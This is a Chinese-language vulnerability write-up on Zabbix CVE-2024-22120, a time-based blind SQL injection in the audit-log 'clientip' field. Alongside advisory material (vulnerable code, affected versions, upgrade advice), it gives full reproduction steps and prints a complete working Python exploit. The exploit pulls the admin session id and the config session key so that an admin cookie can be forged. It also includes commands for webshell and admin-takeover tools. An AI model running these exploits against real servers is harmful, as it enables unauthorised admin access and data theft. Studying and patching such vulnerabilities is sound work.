Zabbix zbx_auditlog_global_script SQL注入漏洞(CVE-2024-22120)
Zabbix是一個開源的監控軟件工具,旨在幫助IT專業人士實時監控和確保各種網絡服務、服務器及應用程序的穩定性和性能。它為監控IT基礎設施提供了全面的解決方案,從網絡設備、服務器、數據庫到云服務和虛擬機均涵蓋在內。
Zabbix的主要特點包括:
- 跨平臺支持:Zabbix可以在Linux、Windows、macOS等多種操作系統上部署,并且支持對多種硬件和軟件進行監控。
- 基于代理與無代理監控:Zabbix使用輕量級代理,可安裝在被監控主機上進行詳細監控。同時,它也支持通過SNMP、IPMI、JMX等協議進行無代理監控。
- 靈活的告警機制:系統允許用戶根據特定條件設置自定義觸發器和通知,確保在問題惡化前迅速響應。
- 數據可視化與報告:Zabbix提供了一個基于Web的界面,用戶可以定制儀表板、圖表和報告,以便直觀地分析和理解系統性能。
- 自動發現功能:能夠自動檢測新設備或現有配置的變化,減少手動配置的工作量。
- 高度可擴展性:設計用于處理大規模環境,能夠同時監控成千上萬的指標。
- 可擴展性:用戶可以通過自定義腳本和與外部系統的集成來擴展Zabbix的功能。
- 開源:作為開源軟件,Zabbix得益于活躍的社區對其開發的支持、故障排查幫助以及共享的自定義插件和集成。
由于其豐富的功能集、可擴展性和相比于專有解決方案的成本效益,Zabbix常被企業環境所采用。無論企業規模大小,只要希望保持高可用性和優化其IT資源的性能,Zabbix都是一個合適的選擇。
1.1漏洞簡介
1.1.1漏洞情況
Zabbix Server組件中修復了一個SQL注入漏洞(CVE-2024-22120),其CVSS評分為9.1,目前該漏洞的PoC已公開。Zabbix多個受影響版本中存在SQL注入漏洞,該漏洞存在于audit.c的zbx_auditlog_global_script函數中,由于clientip字段未經清理,可能導致SQL時間盲注攻擊,經過身份驗證的威脅者可利用該漏洞從數據庫中獲取敏感信息,并可能導致將權限提升為管理員或導致遠程代碼執行。Zabbix服務器能夠執行配置好的腳本命令。命令執行后,會將審計記錄添加到“審計日志”中。由于“clientip”字段未經過適當清理,攻擊者有可能通過向“clientip”注入SQL來利用基于時間的盲注SQL注入漏洞。
1.1.2漏洞技術細節
SQL注入漏洞位于audit.c文件的zbx_auditlog_global_script函數中
2225: if (ZBX_DB_OK >zbx_db_execute("insert into auditlog(auditid,userid,username,clock,action,ip,resourceid,"
3226:"resourcename,resourcetype,recordsetid,details) values ('%s',"
4227: ZBX_FS_UI64 ",'%s',%d,'%d','%s',"ZBX_FS_UI64",'%s',%d,'%s','%s')", auditid_cuid, userid, username,(int)time(NULL),
5228:ZBX_AUDIT_ACTION_EXECUTE,clientip, hostid, hostname, AUDIT_RESOURCE_SCRIPT, auditid_cuid,
6229:details_esc))
7230: {
8231: ret = FAIL;
9232: }
行2225開始了一個SQL插入語句的構造,用于將審計日志信息存入數據庫。
行2227中,變量clientip被直接插入到SQL語句中,而這個值在實際應用中是由攻擊者控制的,沒有經過適當的轉義或驗證。
由于clientip沒有得到適當的清理或驗證,攻擊者可以注入SQL查詢,嘗試執行惡意操作。
注意,由于環境或系統的限制,此漏洞可能僅支持時間盲SQL注入(Time-Based SQLi),這意味著攻擊者不能直接從響應中獲取數據,而是通過觀察延遲來推斷SQL查詢的結果(如示例exploit代碼所示)。
時間SQL盲注入的工作原理是,攻擊者構造的查詢會包含等待特定時間的條件,根據數據庫響應時間的不同,攻擊者可以判斷SQL查詢條件是否滿足,從而逐步提取或操作數據。這種類型的SQL注入通常更難以利用,因為它需要更多的交互和時間來推斷結果,但仍然是一個嚴重的安全風險。
1.2 影響范圍
Zabbix 6.0.0 - 6.0.27
Zabbix 6.4.0 - 6.4.12
Zabbix 7.0.0alpha1 - 7.0.0beta1
1.3解決方法
- 升級到安全版本:檢查Zabbix官方網站發布的安全更新,并將Zabbix升級到修復了漏洞的版本。
- 應用安全補?。喝绻麩o法立即升級,可以應用官方提供的安全補丁。
- 審計配置:確保Zabbix的配置已經更新,以防止未授權的訪問。
- 加強監控:在Zabbix服務器上實施額外的安全措施,如增強監控數據庫的訪問權限,使用更安全的認證方法等。
目前該漏洞已經修復,受影響用戶可升級到Zabbix 6.0.28rc1、6.4.13rc1、7.0.0beta2或更高版本。下載鏈接:https://github.com/zabbix/zabbix/tags
1.4漏洞利用工具
https://github.com/W01fh4cker/CVE-2024-22120-RCE
https://support.zabbix.com/secure/attachment/236280/236280_zabbix_server_time_based_blind_sqli.py
1.5復現步驟
這里提供了三種不同的復現方法,第一種是實際利用過程,涉及使用附帶的漏洞利用程序提取管理員的session_id和session_key以偽造zbx_session,這些數據結合后可用于生成有效的管理員zbx_session。第二種是一個更簡單的版本,僅展示基于時間的SQL注入的概念驗證(PoC),您將觀察到三次請求以及后端分別延遲1秒、5秒和10秒的響應。第三種是另一個簡單的PoC,可以通過查看zabbix_server.log日志來驗證。
1.5.1第一種驗證方式
1.登錄ZABBIX確認命令可執行
首先,使用低權限用戶登錄。該用戶至少需要對一個主機有足夠的訪問權限以對其執行命令,如圖1所示。
圖1 具有Detect operating system權限用戶
備注:在zabbix中具有Detect operating system腳本權限的只有管理員權限。普通用戶基本不具備該權限。
2.抓包獲取sessionid
通過burpsuite提取登錄用戶的“sessionid”,從zbx_session cookie中提取(先用Base64解碼,然后從JSON中獲取sessionid)。
3.找到hostid
提取任意可訪問主機的hostid:操作路徑為“監控->主機”,在響應中找到host id。這個需要登錄zabbix,且能查看存在hosts才有。很多hostid為10084
4.執行漏洞利用腳本
使用zabbix_server_time_based_blind_sqli.py腳本。如有需要,可使用--help查看幫助信息。通常情況下,僅需提供“ip”、“sessionid”和“hostid”即可執行:
(1)Linux環境下執行
python zabbix_server_time_based_blind_sqli.py --ip 192.168.223.128 --sid a6094b4f052fd133adc335382f0297f6 --hostid 10084 | grep "(+)"
(2)Windows環境下執行
python zabbix_server_time_based_blind_sqli.py --ip 192.168.19.142 --sid 27c97210330ddbd542a31e74a57fadd9 --hostid 10084 | find "(+)"
漏洞利用可能需要大約10分鐘執行,但每隔幾秒你會看到進度更新。耗時較長是由于基于時間的SQL注入需要在每次猜測后暫停(sleep),具體細節可在漏洞利用代碼中查看。通過管道命令grep ""過濾輸出,減少pwntools打印的大量調試信息。成功后,你將獲得管理員的session_id和session_key,這些用于生成zbx_session cookie的簽名,從而使你能夠創建管理員令牌。
注意:初次執行腳本需要安裝pwn模塊,執行命令pip install pwn
1.3.2第二種方法 - 基于時間的SQL注入PoC
構造一個包含延時條件的SQL注入payload。通過配置腳本執行或觸發器,使Zabbix服務器處理包含注入的請求。觀察連續三次請求后的響應時間差異,確認1秒、5秒和10秒的延遲,這是基于注入點響應時間的直接證據。
1.準備階段
完成前面步驟中的1至3步,即提取低權限用戶的sessionid和任意可訪問的hostid。
2.執行PoC Exploit
使用以下命令,記得替換為你自己的IP、sessionid和hostid:
python zabbix_server_time_based_blind_sqli.py LOG_LEVEL=error --ip 192.168.19.142 --sid a6094b4f052fd133adc335382f0297f6--hostid 10607 --poc
在這個PoC過程中,你將會觀察到以下特點:
- 發送3個請求。
- 后端服務器分別在響應前延遲1秒、5秒和10秒。
- 通過請求與響應的包,你可以明確地看到后端的延遲發生,這是驗證基于時間的盲注的有效性。這種延遲證明了SQL查詢執行時間被人為控制,是SQL注入存在的直接證據。
1.5.3第三種方法 - 日志驗證PoC
準備一個簡單的SQL注入payload,設計為在日志文件中留下特定痕跡。
觸發腳本執行,確保payload包含在請求中。檢查zabbix_server.log文件,尋找與注入payload相關的記錄,間接證明了SQL注入的可能性。
1.執行第一種方法中的1-3步(提取低權限用戶sessionid和任何可用的hostid)
2.執行漏洞利用(將ip、sessionid和hostid替換為你之前步驟中得到的)
python3 zabbix_server_time_based_blind_sqli.py LOG_LEVEL=error --ip 192.168.223.128 --sid a6094b4f052fd133adc335382f0297f6 --hostid 10607 --poc2
檢查zabbix_server.log日志,你會看到查詢失敗了,但已注入了 ' + version() + ' ,并且其結果正確地顯示在了位置上。
zabbix_server_time_based_blind_sqli.py源代碼如下:
#!/usr/bin/python3
import json
import argparse
import pwnlib.context
from pwn import *
from datetime import datetime
def send_message(ip, port, sid, hostid, injection):
zbx_header =
"ZBXD\x01".encode()
#query
# insert into auditlog (auditid,userid,username,clock,action,ip,resourceid,"
# "resourcename,resourcetype,recordsetid,details)
values ('%s'," ZBX_FS_UI64 ",'%s',%d,'%d','%s',"
# ZBX_FS_UI64
",'%s',%d,'%s','%s')
#
message = {
"request":
"command",
"sid": sid,
"scriptid":
"3",
"clientip": "' +
" + injection + "+ '",
"hostid": hostid
}
message_json = json.dumps(message)
#print("message=%s" %
message)
message_length = struct.pack('<q',
len(message_json))
message = zbx_header + message_length
+ message_json.encode()
#print("Sending message %s"
% message)
r = remote(ip, port, level='debug')
r.send(message)
response = r.recv(100)
r.close()
#print(response)
def extract_admin_session_id(ip, port, sid, hostid, time_false, time_true):
session_id = ""
token_length = 32
for i in range(1, token_length+1):
for c in string.digits +
"abcdef":
print("\n(+) trying
c=%s" % c, end="", flush=True)
before_query =
datetime.now().timestamp()
query = "(select CASE
WHEN (ascii(substr((select sessionid from sessions where userid=1),%d,1))=%d)
THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
send_message(ip, port, sid,
hostid, query)
after_query =
datetime.now().timestamp()
if time_true >
(after_query-before_query) > time_false:
continue
else:
session_id += c
print("(+)
session_id=%s" % session_id, end="", flush=True)
break
print("\n")
return session_id
def extract_config_session_key(ip, port, sid, hostid, time_false, time_true):
token = ""
token_length = 32
for i in range(1, token_length+1):
for c in string.digits +
"abcdef":
print("\n(+) trying
c=%s" % c, end="", flush=True)
before_query =
datetime.now().timestamp()
query = "(select CASE
WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d)
ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
send_message(ip, port, sid,
hostid, query)
after_query =
datetime.now().timestamp()
if time_true >
(after_query-before_query) > time_false:
continue
else:
token += c
print("(+)
session_key=%s" % token, end="", flush=True)
break
print("\n")
return token
def tiny_poc(ip, port, sid, hostid):
print("(+) Running simple
PoC...\n", end="", flush=True)
print("(+) Sleeping for 1
sec...\n", end="", flush=True)
before_query =
datetime.now().timestamp()
query = "(select sleep(1))"
send_message(ip, port, sid, hostid,
query)
after_query = datetime.now().timestamp()
print("(+) Request time:
%d\n" % (after_query-before_query))
print("(+) Sleeping for 5
sec...\n", end="", flush=True)
before_query =
datetime.now().timestamp()
query = "(select sleep(5))"
send_message(ip, port, sid, hostid, query)
after_query =
datetime.now().timestamp()
print("(+) Request time:
%d\n" % (after_query - before_query))
print("(+) Sleeping for 10
sec...\n", end="", flush=True)
before_query =
datetime.now().timestamp()
query = "(select sleep(10))"
send_message(ip, port, sid, hostid,
query)
after_query =
datetime.now().timestamp()
print("(+) Request time:
%d\n" % (after_query - before_query))
def poc_to_check_in_zabbix_log(ip, port, sid, hostid):
print("(+) Sending SQL request
for MySQL version...\n", end="", flush=True)
query = "(version())"
send_message(ip, port, sid, hostid,
query)
if __name__ == "__main__":
parser =
argparse.ArgumentParser(description='Command-line option parser example')
parser.add_argument("--false_time",
help="Time to sleep in case of wrong guess(make it smaller than true time,
default=1)", default="1")
parser.add_argument("--true_time", help="Time to sleep in
case of right guess(make it bigger than false time, default=10)",
default="10")
parser.add_argument("--ip",
help="Zabbix server IP")
parser.add_argument("--port", help="Zabbix server
port(default=10051)", default="10051")
parser.add_argument("--sid", help="Session ID of low
privileged user")
parser.add_argument("--hostid",
help="hostid of any host accessible to user with defined sid")
parser.add_argument("--poc", action='store_true',
help="Use this key if you want only PoC, PoC will simply make sleep 1,2,5
seconds on mysql server", default=False)
parser.add_argument("--poc2",
action='store_true', help="Use this key to simply generate error in zabbix
logs, check logs later to see results", default=False)
args = parser.parse_args()
if args.poc:
tiny_poc(args.ip, int(args.port),
args.sid, args.hostid)
elif args.poc2:
poc_to_check_in_zabbix_log(args.ip, int(args.port), args.sid,
args.hostid)
else:
print("(+) Extracting Zabbix
config session key...\n", end="", flush=True)
config_session_key =
extract_config_session_key(args.ip, int(args.port), args.sid, args.hostid,
int(args.false_time), int(args.true_time))
print("(+) config
session_key=%s\n" % config_session_key, end="", flush=True)
print("(+) Extracting admin
session_id...")
admin_sessionid = extract_admin_session_id(args.ip,
int(args.port), args.sid, args.hostid, int(args.false_time),
int(args.true_time))
print("(+) admin
session_id=%s\n" % admin_sessionid, end="", flush=True)
print("(+) session_key=%s,
admin session_id=%s. Now you can genereate admin zbx_cookie and sign it with
session_key" % (config_session_key, admin_sessionid))
1.5.4獲取Webshell
【CVE-2024-22120-Webshell(在多數情況下無法使用)】
如果你已經擁有管理員權限用戶的session ID,請嘗試:
python CVE-2024-22120-Webshell.py --ip 192.168.198.136 --aid fe647173d7769d55a43f161a68b256e0 --hostid 10084 --file shell.php
否則,如果只有普通用戶session ID,請使用:
python CVE-2024-22120-Webshell.py --ip 192.168.198.136 --sid f026d1c7a3c36537cfe78fed35c7456a --hostid 10084 --shell shell.php
但是,由于執行命令的用戶通常是zabbix用戶,大多數情況下無法通過echo直接寫入webshell,因為這受限于文件權限和Zabbix后臺的執行上下文限制,使得直接創建或修改網頁文件變得困難。
1.5.5獲取后臺管理員權限
1.執行CVE-2024-22120-LoginAsAdmin.py程序獲取cookie
python CVE-2024-22120-LoginAsAdmin.py --ip 192.168.19.142 --sid 58a1d35e74e90e1ca493d95e4092553c --hostid 10084
2.替換zbx_session
使用ctrl+i打開chrome瀏覽器,找到“Application”-“Cookies”,找到目標網站,將其中的zbx_session替換為工具獲取的。
3.直接獲取管理員權限
重新打開一個頁面,刷新即可獲取管理員權限。
1.5.6注意事項
1.需要安裝pwn模塊
pip install pwn
2.默認登錄賬號及密碼
Adminzabbix admin zabbix
3.安裝有zabbix環境的虛擬機
https://cdn.zabbix.com/zabbix/appliances/stable/6.0/6.0.20/zabbix_appliance-6.0.20-vmx.tar.gz
(1)登錄用戶賬號及密碼root/zabbix
(2)需要安裝net-tools
yum install net-tools
4.配置具備低權限用戶和特定要求的賬號及權限
參考文章https://forum.butian.net/share/3056配置具備低權限且有腳本權限的用戶。否則無法再現。
1.6總結
昨天得知zabbix存在RCE漏洞,開始很興奮,結果一路復現過來需要一些條件的配合。漏洞雖然高危,但外網直接可以利用的可能性極低。在偶然的條件下才能達到目標。具體條件:
1.具有低權限的用戶。
2.具備Detect operating system權限。默認用戶都不具備該條件。
3.必須有hosts。
參考鏈接
https://support.zabbix.com/browse/ZBX-24505
https://git.zabbix.com/projects/ZBX/repos/zabbix/commits/c8ac414ff44
https://mp.weixin.qq.com/s/qUr58Dez4lnlaTyg2BilUg Zabbix SQLi(CVE-2024-22120)
https://forum.butian.net/share/3056淺聊CVE-2024-22120:Zabbix低權限SQL注入至RCE+權限繞過